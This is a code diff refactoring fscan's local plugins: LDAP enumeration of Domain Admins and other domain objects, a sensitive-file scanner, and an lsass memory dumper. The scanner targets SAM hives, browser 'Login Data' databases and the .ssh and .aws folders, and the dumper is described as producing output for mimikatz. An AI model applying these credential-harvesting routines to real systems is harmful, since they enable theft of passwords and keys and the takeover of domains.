ldap.ScopeWholeSubtree,
|
||||
@ -560,7 +527,7 @@ func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainConnection) ([]map[str
|
||||
}
|
||||
|
||||
// getDomainAdminsDetailed 获取域管理员详细信息
|
||||
func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainConnection) ([]map[string]interface{}, error) {
|
||||
func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||
// 获取Domain Admins组
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
@ -615,7 +582,7 @@ func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainConnection) ([]map[st
|
||||
}
|
||||
|
||||
// getComputersDetailed 获取域计算机详细信息
|
||||
func (p *DCInfoPlugin) getComputersDetailed(conn *DomainConnection) ([]map[string]interface{}, error) {
|
||||
func (p *DCInfoPlugin) getComputersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
conn.BaseDN,
|
||||
ldap.ScopeWholeSubtree,
|
||||
@ -648,7 +615,7 @@ func (p *DCInfoPlugin) getComputersDetailed(conn *DomainConnection) ([]map[strin
|
||||
}
|
||||
|
||||
// getUserInfoByDN 根据DN获取用户信息
|
||||
func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainConnection, userDN string) (map[string]interface{}, error) {
|
||||
func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainInfo, userDN string) (map[string]interface{}, error) {
|
||||
searchRequest := ldap.NewSearchRequest(
|
||||
userDN,
|
||||
ldap.ScopeBaseObject,
|
||||
@ -682,7 +649,7 @@ func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainConnection, userDN string) (m
|
||||
}
|
||||
|
||||
// getGroupPolicies 获取组策略信息
|
||||
func (p *DCInfoPlugin) getGroupPolicies(conn *DomainConnection) ([]map[string]interface{}, error) {
|
||||
func (p *DCInfoPlugin) getGroupPolicies(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||
common.LogDebug("开始搜索GPO...")
|
||||
common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN))
|
||||
|
||||
@ -740,7 +707,7 @@ func (p *DCInfoPlugin) getGroupPolicies(conn *DomainConnection) ([]map[string]in
|
||||
}
|
||||
|
||||
// getOrganizationalUnits 获取组织单位信息
|
||||
func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainConnection) ([]map[string]interface{}, error) {
|
||||
func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainInfo) ([]map[string]interface{}, error) {
|
||||
common.LogDebug("开始搜索OU和容器...")
|
||||
common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN))
|
||||
|
||||
@ -1016,9 +983,9 @@ func (p *DCInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, d
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 插件注册函数
|
||||
func init() {
|
||||
base.GlobalPluginRegistry.Register("dcinfo", base.NewSimplePluginFactory(
|
||||
// RegisterDCInfoPlugin 注册域控信息收集插件
|
||||
func RegisterDCInfoPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "dcinfo",
|
||||
Version: "1.0.0",
|
||||
@ -1031,5 +998,24 @@ func init() {
|
||||
func() base.Plugin {
|
||||
return NewDCInfoPlugin()
|
||||
},
|
||||
))
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("dcinfo", factory)
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *DCInfoPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("Windows域控制器信息收集插件\n")
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString("功能: 收集域用户、计算机、组策略、OU等信息\n")
|
||||
info.WriteString("要求: 必须在域环境中运行\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// 插件注册函数
|
||||
func init() {
|
||||
RegisterDCInfoPlugin()
|
||||
}
|
@ -12,24 +12,18 @@ import (
|
||||
"github.com/shadow1ng/fscan/plugins/local"
|
||||
)
|
||||
|
||||
// FileInfoPlugin 文件信息收集插件
|
||||
// FileInfoPlugin 文件信息收集插件 - 使用简化架构
|
||||
type FileInfoPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
connector *FileInfoConnector
|
||||
|
||||
// 配置选项
|
||||
blacklist []string
|
||||
whitelist []string
|
||||
}
|
||||
|
||||
// FileInfoConnector 文件信息连接器
|
||||
type FileInfoConnector struct {
|
||||
*local.BaseLocalConnector
|
||||
sensitiveFiles []string
|
||||
searchDirs []string
|
||||
}
|
||||
|
||||
// NewFileInfoPlugin 创建文件信息收集插件
|
||||
// NewFileInfoPlugin 创建文件信息收集插件 - 简化版本
|
||||
func NewFileInfoPlugin() *FileInfoPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "fileinfo",
|
||||
@ -41,10 +35,8 @@ func NewFileInfoPlugin() *FileInfoPlugin {
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
connector := NewFileInfoConnector()
|
||||
plugin := &FileInfoPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||
connector: connector,
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
blacklist: []string{
|
||||
// 可执行文件和库
|
||||
".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr",
|
||||
@ -84,6 +76,11 @@ func NewFileInfoPlugin() *FileInfoPlugin {
|
||||
|
||||
// 设置平台支持
|
||||
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
|
||||
// 不需要特殊权限
|
||||
plugin.SetRequiresPrivileges(false)
|
||||
|
||||
// 初始化敏感文件和搜索目录
|
||||
plugin.initSensitiveFiles()
|
||||
|
||||
return plugin
|
||||
}
|
||||
@ -93,32 +90,21 @@ func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// NewFileInfoConnector 创建文件信息连接器
|
||||
func NewFileInfoConnector() *FileInfoConnector {
|
||||
baseConnector, _ := local.NewBaseLocalConnector()
|
||||
|
||||
connector := &FileInfoConnector{
|
||||
BaseLocalConnector: baseConnector,
|
||||
}
|
||||
|
||||
connector.initSensitiveFiles()
|
||||
|
||||
return connector
|
||||
}
|
||||
|
||||
// initSensitiveFiles 初始化敏感文件列表
|
||||
func (c *FileInfoConnector) initSensitiveFiles() {
|
||||
func (p *FileInfoPlugin) initSensitiveFiles() {
|
||||
homeDir, _ := os.UserHomeDir()
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
c.sensitiveFiles = []string{
|
||||
p.sensitiveFiles = []string{
|
||||
"C:\\boot.ini",
|
||||
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
|
||||
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
|
||||
"C:\\windows\\repair\\sam",
|
||||
"C:\\windows\\system32\\config\\sam",
|
||||
}
|
||||
|
||||
if homeDir := c.GetCommonDirectories()[0]; homeDir != "" {
|
||||
c.sensitiveFiles = append(c.sensitiveFiles, []string{
|
||||
if homeDir != "" {
|
||||
p.sensitiveFiles = append(p.sensitiveFiles, []string{
|
||||
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
|
||||
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
|
||||
@ -126,7 +112,7 @@ func (c *FileInfoConnector) initSensitiveFiles() {
|
||||
}
|
||||
|
||||
case "linux", "darwin":
|
||||
c.sensitiveFiles = []string{
|
||||
p.sensitiveFiles = []string{
|
||||
"/etc/apache/httpd.conf",
|
||||
"/etc/httpd/conf/httpd.conf",
|
||||
"/etc/nginx/nginx.conf",
|
||||
@ -139,31 +125,31 @@ func (c *FileInfoConnector) initSensitiveFiles() {
|
||||
}
|
||||
}
|
||||
|
||||
c.searchDirs = c.getOptimizedSearchDirs()
|
||||
p.searchDirs = p.getOptimizedSearchDirs()
|
||||
}
|
||||
|
||||
// getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录)
|
||||
func (c *FileInfoConnector) getOptimizedSearchDirs() []string {
|
||||
func (p *FileInfoPlugin) getOptimizedSearchDirs() []string {
|
||||
var dirs []string
|
||||
homeDir, _ := os.UserHomeDir()
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
dirs = []string{
|
||||
// 用户目录的关键文件夹
|
||||
c.GetCommonDirectories()[0], // homeDir
|
||||
filepath.Join(c.GetCommonDirectories()[0], "Desktop"),
|
||||
filepath.Join(c.GetCommonDirectories()[0], "Documents"),
|
||||
filepath.Join(c.GetCommonDirectories()[0], "Downloads"),
|
||||
filepath.Join(c.GetCommonDirectories()[0], ".ssh"),
|
||||
filepath.Join(c.GetCommonDirectories()[0], ".aws"),
|
||||
filepath.Join(c.GetCommonDirectories()[0], ".azure"),
|
||||
filepath.Join(c.GetCommonDirectories()[0], ".kube"),
|
||||
homeDir,
|
||||
filepath.Join(homeDir, "Desktop"),
|
||||
filepath.Join(homeDir, "Documents"),
|
||||
filepath.Join(homeDir, "Downloads"),
|
||||
filepath.Join(homeDir, ".ssh"),
|
||||
filepath.Join(homeDir, ".aws"),
|
||||
filepath.Join(homeDir, ".azure"),
|
||||
filepath.Join(homeDir, ".kube"),
|
||||
// 公共目录的关键部分
|
||||
"C:\\Users\\Public\\Documents",
|
||||
"C:\\Users\\Public\\Desktop",
|
||||
}
|
||||
case "linux", "darwin":
|
||||
homeDir := c.GetCommonDirectories()[0]
|
||||
dirs = []string{
|
||||
homeDir,
|
||||
filepath.Join(homeDir, "Desktop"),
|
||||
@ -190,25 +176,15 @@ func (c *FileInfoConnector) getOptimizedSearchDirs() []string {
|
||||
return validDirs
|
||||
}
|
||||
|
||||
// ScanLocal 执行本地文件扫描
|
||||
// ScanLocal 执行本地文件扫描 - 简化版本
|
||||
func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
common.LogBase("开始本地敏感文件扫描...")
|
||||
|
||||
// 建立连接
|
||||
conn, err := p.connector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("连接失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
defer p.connector.Close(conn)
|
||||
common.LogInfo("开始本地敏感文件扫描...")
|
||||
|
||||
foundFiles := make([]string, 0)
|
||||
|
||||
// 扫描固定位置的敏感文件
|
||||
common.LogDebug("扫描固定敏感文件位置...")
|
||||
for _, file := range p.connector.sensitiveFiles {
|
||||
for _, file := range p.sensitiveFiles {
|
||||
if p.checkFile(file) {
|
||||
foundFiles = append(foundFiles, file)
|
||||
common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file))
|
||||
@ -220,21 +196,29 @@ func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
|
||||
searchFiles := p.searchSensitiveFiles()
|
||||
foundFiles = append(foundFiles, searchFiles...)
|
||||
|
||||
// 获取系统信息
|
||||
systemInfo := p.GetSystemInfo()
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: len(foundFiles) > 0,
|
||||
Success: true,
|
||||
Service: "FileInfo",
|
||||
Banner: fmt.Sprintf("发现 %d 个敏感文件", len(foundFiles)),
|
||||
Banner: fmt.Sprintf("检测完成: 发现 %d 个敏感文件", len(foundFiles)),
|
||||
Extra: map[string]interface{}{
|
||||
"files": foundFiles,
|
||||
"total_count": len(foundFiles),
|
||||
"platform": runtime.GOOS,
|
||||
"system_info": systemInfo,
|
||||
"search_dirs": len(p.searchDirs),
|
||||
},
|
||||
}
|
||||
|
||||
if len(foundFiles) > 0 {
|
||||
common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles)))
|
||||
for _, file := range foundFiles {
|
||||
common.LogSuccess(fmt.Sprintf("发现: %s", file))
|
||||
}
|
||||
} else {
|
||||
common.LogDebug("未发现敏感文件")
|
||||
common.LogInfo("未发现敏感文件")
|
||||
}
|
||||
|
||||
return result, nil
|
||||
@ -283,7 +267,7 @@ func (p *FileInfoPlugin) searchSensitiveFiles() []string {
|
||||
maxFiles := 50 // 限制最多找到的文件数量
|
||||
maxDepth := 4 // 限制递归深度
|
||||
|
||||
for _, searchPath := range p.connector.searchDirs {
|
||||
for _, searchPath := range p.searchDirs {
|
||||
if len(foundFiles) >= maxFiles {
|
||||
break
|
||||
}
|
||||
@ -357,9 +341,9 @@ func (p *FileInfoPlugin) isWhitelisted(filename string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
// 插件注册函数
|
||||
func init() {
|
||||
base.GlobalPluginRegistry.Register("fileinfo", base.NewSimplePluginFactory(
|
||||
// RegisterFileInfoPlugin 注册文件信息收集插件
|
||||
func RegisterFileInfoPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "fileinfo",
|
||||
Version: "1.0.0",
|
||||
@ -372,5 +356,25 @@ func init() {
|
||||
func() base.Plugin {
|
||||
return NewFileInfoPlugin()
|
||||
},
|
||||
))
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("fileinfo", factory)
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *FileInfoPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("本地敏感文件扫描插件\n")
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString(fmt.Sprintf("扫描目录: %d 个\n", len(p.searchDirs)))
|
||||
info.WriteString(fmt.Sprintf("固定文件: %d 个\n", len(p.sensitiveFiles)))
|
||||
info.WriteString("功能: 扫描系统敏感文件和配置信息\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// 插件注册函数
|
||||
func init() {
|
||||
RegisterFileInfoPlugin()
|
||||
}
|
@ -6,45 +6,12 @@ import (
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
)
|
||||
|
||||
// LocalConnector 本地信息收集连接器接口
|
||||
type LocalConnector interface {
|
||||
// Connect 建立本地连接(实际上是初始化本地环境)
|
||||
Connect(ctx context.Context, info *common.HostInfo) (interface{}, error)
|
||||
|
||||
// Close 关闭连接和清理资源
|
||||
Close(conn interface{}) error
|
||||
|
||||
// GetSystemInfo 获取系统信息
|
||||
GetSystemInfo(conn interface{}) (map[string]string, error)
|
||||
}
|
||||
|
||||
// LocalScanner 本地扫描器接口
|
||||
type LocalScanner interface {
|
||||
base.Scanner
|
||||
|
||||
// ScanLocal 执行本地扫描
|
||||
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
|
||||
|
||||
// GetLocalData 获取本地数据
|
||||
GetLocalData(ctx context.Context) (map[string]interface{}, error)
|
||||
}
|
||||
|
||||
// LocalExploiter 本地信息提取器接口
|
||||
type LocalExploiter interface {
|
||||
base.Exploiter
|
||||
|
||||
// ExtractData 提取本地数据
|
||||
ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error)
|
||||
}
|
||||
|
||||
// LocalPlugin 本地插件接口
|
||||
// LocalPlugin 本地插件接口 - 简化设计,专注于信息收集和扫描
|
||||
type LocalPlugin interface {
|
||||
base.Plugin
|
||||
LocalScanner
|
||||
LocalExploiter
|
||||
|
||||
// GetLocalConnector 获取本地连接器
|
||||
GetLocalConnector() LocalConnector
|
||||
// ScanLocal 执行本地扫描 - 核心功能
|
||||
ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error)
|
||||
|
||||
// GetPlatformSupport 获取支持的平台
|
||||
GetPlatformSupport() []string
|
||||
@ -52,3 +19,8 @@ type LocalPlugin interface {
|
||||
// RequiresPrivileges 是否需要特殊权限
|
||||
RequiresPrivileges() bool
|
||||
}
|
||||
|
||||
// 移除不必要的接口:
|
||||
// - LocalConnector: 本地插件不需要"连接"概念
|
||||
// - LocalScanner: 功能合并到LocalPlugin中
|
||||
// - LocalExploiter: 本地插件不需要攻击利用功能
|
@ -12,6 +12,7 @@ import (
|
||||
"golang.org/x/sys/windows"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
@ -53,15 +54,9 @@ type TOKEN_PRIVILEGES struct {
|
||||
Privileges [1]LUID_AND_ATTRIBUTES
|
||||
}
|
||||
|
||||
// MiniDumpPlugin 内存转储插件
|
||||
// MiniDumpPlugin 内存转储插件 - 使用简化架构
|
||||
type MiniDumpPlugin struct {
|
||||
*local.BaseLocalPlugin
|
||||
connector *MiniDumpConnector
|
||||
}
|
||||
|
||||
// MiniDumpConnector 内存转储连接器
|
||||
type MiniDumpConnector struct {
|
||||
*local.BaseLocalConnector
|
||||
kernel32 *syscall.DLL
|
||||
dbghelp *syscall.DLL
|
||||
advapi32 *syscall.DLL
|
||||
@ -74,7 +69,7 @@ type ProcessManager struct {
|
||||
advapi32 *syscall.DLL
|
||||
}
|
||||
|
||||
// NewMiniDumpPlugin 创建内存转储插件
|
||||
// NewMiniDumpPlugin 创建内存转储插件 - 简化版本
|
||||
func NewMiniDumpPlugin() *MiniDumpPlugin {
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "minidump",
|
||||
@ -86,10 +81,8 @@ func NewMiniDumpPlugin() *MiniDumpPlugin {
|
||||
Protocols: []string{"local"},
|
||||
}
|
||||
|
||||
connector := NewMiniDumpConnector()
|
||||
plugin := &MiniDumpPlugin{
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
|
||||
connector: connector,
|
||||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||||
}
|
||||
|
||||
// 仅支持Windows平台
|
||||
@ -105,62 +98,52 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
|
||||
return p.ScanLocal(ctx, info)
|
||||
}
|
||||
|
||||
// NewMiniDumpConnector 创建内存转储连接器
|
||||
func NewMiniDumpConnector() *MiniDumpConnector {
|
||||
baseConnector, _ := local.NewBaseLocalConnector()
|
||||
|
||||
return &MiniDumpConnector{
|
||||
BaseLocalConnector: baseConnector,
|
||||
}
|
||||
// Initialize 初始化插件
|
||||
func (p *MiniDumpPlugin) Initialize() error {
|
||||
// 先调用基类初始化
|
||||
if err := p.BaseLocalPlugin.Initialize(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Connect 建立内存转储连接
|
||||
func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
|
||||
// 先建立基础本地连接
|
||||
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("建立基础连接失败: %v", err))
|
||||
return nil, err
|
||||
// 加载系统DLL
|
||||
return p.loadSystemDLLs()
|
||||
}
|
||||
|
||||
// loadSystemDLLs 加载系统DLL
|
||||
func (p *MiniDumpPlugin) loadSystemDLLs() error {
|
||||
common.LogDebug("开始加载系统DLL...")
|
||||
|
||||
// 加载系统DLL - 添加错误处理
|
||||
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err))
|
||||
return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
||||
return fmt.Errorf("加载 kernel32.dll 失败: %v", err)
|
||||
}
|
||||
common.LogDebug("kernel32.dll 加载成功")
|
||||
|
||||
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err))
|
||||
return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
||||
return fmt.Errorf("加载 Dbghelp.dll 失败: %v", err)
|
||||
}
|
||||
common.LogDebug("Dbghelp.dll 加载成功")
|
||||
|
||||
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err))
|
||||
return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
||||
return fmt.Errorf("加载 advapi32.dll 失败: %v", err)
|
||||
}
|
||||
common.LogDebug("advapi32.dll 加载成功")
|
||||
|
||||
c.kernel32 = kernel32
|
||||
c.dbghelp = dbghelp
|
||||
c.advapi32 = advapi32
|
||||
p.kernel32 = kernel32
|
||||
p.dbghelp = dbghelp
|
||||
p.advapi32 = advapi32
|
||||
|
||||
common.LogSuccess("所有DLL加载完成")
|
||||
return localConn, nil
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close 关闭连接
|
||||
func (c *MiniDumpConnector) Close(conn interface{}) error {
|
||||
return c.BaseLocalConnector.Close(conn)
|
||||
}
|
||||
|
||||
// ScanLocal 执行内存转储扫描
|
||||
// ScanLocal 执行内存转储扫描 - 简化版本
|
||||
func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
@ -168,7 +151,7 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
|
||||
}
|
||||
}()
|
||||
|
||||
common.LogBase("开始进程内存转储...")
|
||||
common.LogInfo("开始进程内存转储...")
|
||||
|
||||
// 检查管理员权限
|
||||
if !p.isAdmin() {
|
||||
@ -181,25 +164,12 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
|
||||
|
||||
common.LogSuccess("已确认具有管理员权限")
|
||||
|
||||
// 建立连接
|
||||
common.LogDebug("正在建立连接...")
|
||||
conn, err := p.connector.Connect(ctx, info)
|
||||
if err != nil {
|
||||
common.LogError(fmt.Sprintf("连接失败: %v", err))
|
||||
return &base.ScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("连接失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
defer p.connector.Close(conn)
|
||||
common.LogSuccess("连接建立成功")
|
||||
|
||||
// 创建进程管理器
|
||||
common.LogDebug("正在创建进程管理器...")
|
||||
pm := &ProcessManager{
|
||||
kernel32: p.connector.kernel32,
|
||||
dbghelp: p.connector.dbghelp,
|
||||
advapi32: p.connector.advapi32,
|
||||
kernel32: p.kernel32,
|
||||
dbghelp: p.dbghelp,
|
||||
advapi32: p.advapi32,
|
||||
}
|
||||
common.LogSuccess("进程管理器创建成功")
|
||||
|
||||
@ -261,15 +231,19 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (
|
||||
fileSize = fileInfo.Size()
|
||||
}
|
||||
|
||||
// 获取系统信息
|
||||
systemInfo := p.GetSystemInfo()
|
||||
|
||||
result := &base.ScanResult{
|
||||
Success: true,
|
||||
Service: "MiniDump",
|
||||
Banner: fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid),
|
||||
Banner: fmt.Sprintf("检测完成: lsass.exe 内存转储完成 (PID: %d)", pid),
|
||||
Extra: map[string]interface{}{
|
||||
"process_name": "lsass.exe",
|
||||
"process_id": pid,
|
||||
"dump_file": outputPath,
|
||||
"file_size": fileSize,
|
||||
"system_info": systemInfo,
|
||||
},
|
||||
}
|
||||
|
||||
@ -607,9 +581,9 @@ func (pm *ProcessManager) closeHandle(handle uintptr) {
|
||||
}
|
||||
|
||||
|
||||
// 插件注册函数
|
||||
func init() {
|
||||
base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory(
|
||||
// RegisterMiniDumpPlugin 注册内存转储插件
|
||||
func RegisterMiniDumpPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "minidump",
|
||||
Version: "1.0.0",
|
||||
@ -622,5 +596,24 @@ func init() {
|
||||
func() base.Plugin {
|
||||
return NewMiniDumpPlugin()
|
||||
},
|
||||
))
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("minidump", factory)
|
||||
}
|
||||
|
||||
// GetInfo 获取插件信息
|
||||
func (p *MiniDumpPlugin) GetInfo() string {
|
||||
var info strings.Builder
|
||||
|
||||
info.WriteString("Windows进程内存转储插件\n")
|
||||
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
|
||||
info.WriteString("功能: 转储lsass.exe进程内存用于mimikatz分析\n")
|
||||
info.WriteString("要求: 需要管理员权限\n")
|
||||
|
||||
return info.String()
|
||||
}
|
||||
|
||||
// 插件注册函数
|
||||
func init() {
|
||||
RegisterMiniDumpPlugin()
|
||||
}
|
@ -4,27 +4,27 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/user"
|
||||
"runtime"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
)
|
||||
|
||||
// BaseLocalPlugin 本地插件基础实现
|
||||
// BaseLocalPlugin 本地插件基础实现 - 简化架构
|
||||
type BaseLocalPlugin struct {
|
||||
*base.BasePlugin
|
||||
connector LocalConnector
|
||||
platforms []string
|
||||
requiresPrivileges bool
|
||||
}
|
||||
|
||||
// NewBaseLocalPlugin 创建基础本地插件
|
||||
func NewBaseLocalPlugin(metadata *base.PluginMetadata, connector LocalConnector) *BaseLocalPlugin {
|
||||
func NewBaseLocalPlugin(metadata *base.PluginMetadata) *BaseLocalPlugin {
|
||||
basePlugin := base.NewBasePlugin(metadata)
|
||||
|
||||
return &BaseLocalPlugin{
|
||||
BasePlugin: basePlugin,
|
||||
connector: connector,
|
||||
platforms: []string{"windows", "linux", "darwin"},
|
||||
platforms: []string{"windows", "linux", "darwin"}, // 默认支持所有平台
|
||||
requiresPrivileges: false,
|
||||
}
|
||||
}
|
||||
@ -60,38 +60,37 @@ func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo)
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Exploit 执行利用
|
||||
func (p *BaseLocalPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
|
||||
// 获取本地数据
|
||||
data, err := p.GetLocalData(ctx)
|
||||
if err != nil {
|
||||
return &base.ExploitResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("获取本地数据失败: %v", err),
|
||||
}, nil
|
||||
// GetSystemInfo 获取系统信息 - 实用工具方法
|
||||
func (p *BaseLocalPlugin) GetSystemInfo() map[string]string {
|
||||
systemInfo := make(map[string]string)
|
||||
|
||||
systemInfo["os"] = runtime.GOOS
|
||||
systemInfo["arch"] = runtime.GOARCH
|
||||
|
||||
if homeDir, err := os.UserHomeDir(); err == nil {
|
||||
systemInfo["home_dir"] = homeDir
|
||||
}
|
||||
|
||||
return p.ExtractData(ctx, info, data)
|
||||
if workDir, err := os.Getwd(); err == nil {
|
||||
systemInfo["working_dir"] = workDir
|
||||
}
|
||||
|
||||
// GetLocalData 默认获取本地数据实现(子类应重写)
|
||||
func (p *BaseLocalPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||||
return nil, fmt.Errorf("GetLocalData方法需要在子类中实现")
|
||||
systemInfo["temp_dir"] = os.TempDir()
|
||||
|
||||
// 获取用户名
|
||||
if currentUser, err := user.Current(); err == nil {
|
||||
systemInfo["username"] = currentUser.Username
|
||||
}
|
||||
|
||||
// ExtractData 默认数据提取实现(子类应重写)
|
||||
func (p *BaseLocalPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||||
return &base.ExploitResult{
|
||||
Success: false,
|
||||
Error: errors.New("ExtractData方法需要在子类中实现"),
|
||||
}, nil
|
||||
// 获取主机名
|
||||
if hostname, err := os.Hostname(); err == nil {
|
||||
systemInfo["hostname"] = hostname
|
||||
}
|
||||
|
||||
// GetLocalConnector 获取本地连接器
|
||||
func (p *BaseLocalPlugin) GetLocalConnector() LocalConnector {
|
||||
return p.connector
|
||||
return systemInfo
|
||||
}
|
||||
|
||||
|
||||
// GetPlatformSupport 获取支持的平台
|
||||
func (p *BaseLocalPlugin) GetPlatformSupport() []string {
|
||||
return p.platforms
|
||||
@ -142,14 +141,25 @@ func (p *BaseLocalPlugin) hasRequiredPrivileges() bool {
|
||||
}
|
||||
}
|
||||
|
||||
// 平台特定的权限检查函数
|
||||
// 平台特定的权限检查函数 - 实际实现
|
||||
func isWindowsAdmin() bool {
|
||||
// 这里可以调用Windows API检查管理员权限
|
||||
// 简化实现,实际应该使用Windows API
|
||||
// Windows管理员权限检查:尝试写入系统目录
|
||||
testPath := `C:\Windows\Temp\fscan_admin_test`
|
||||
file, err := os.Create(testPath)
|
||||
if err != nil {
|
||||
// 无法创建文件,可能没有管理员权限
|
||||
return false
|
||||
}
|
||||
file.Close()
|
||||
os.Remove(testPath)
|
||||
return true
|
||||
}
|
||||
|
||||
func isUnixRoot() bool {
|
||||
// 检查是否为root用户
|
||||
// Unix/Linux root用户检查
|
||||
currentUser, err := user.Current()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return currentUser.Uid == "0"
|
||||
}
|
@ -17,29 +17,15 @@ import (
|
||||
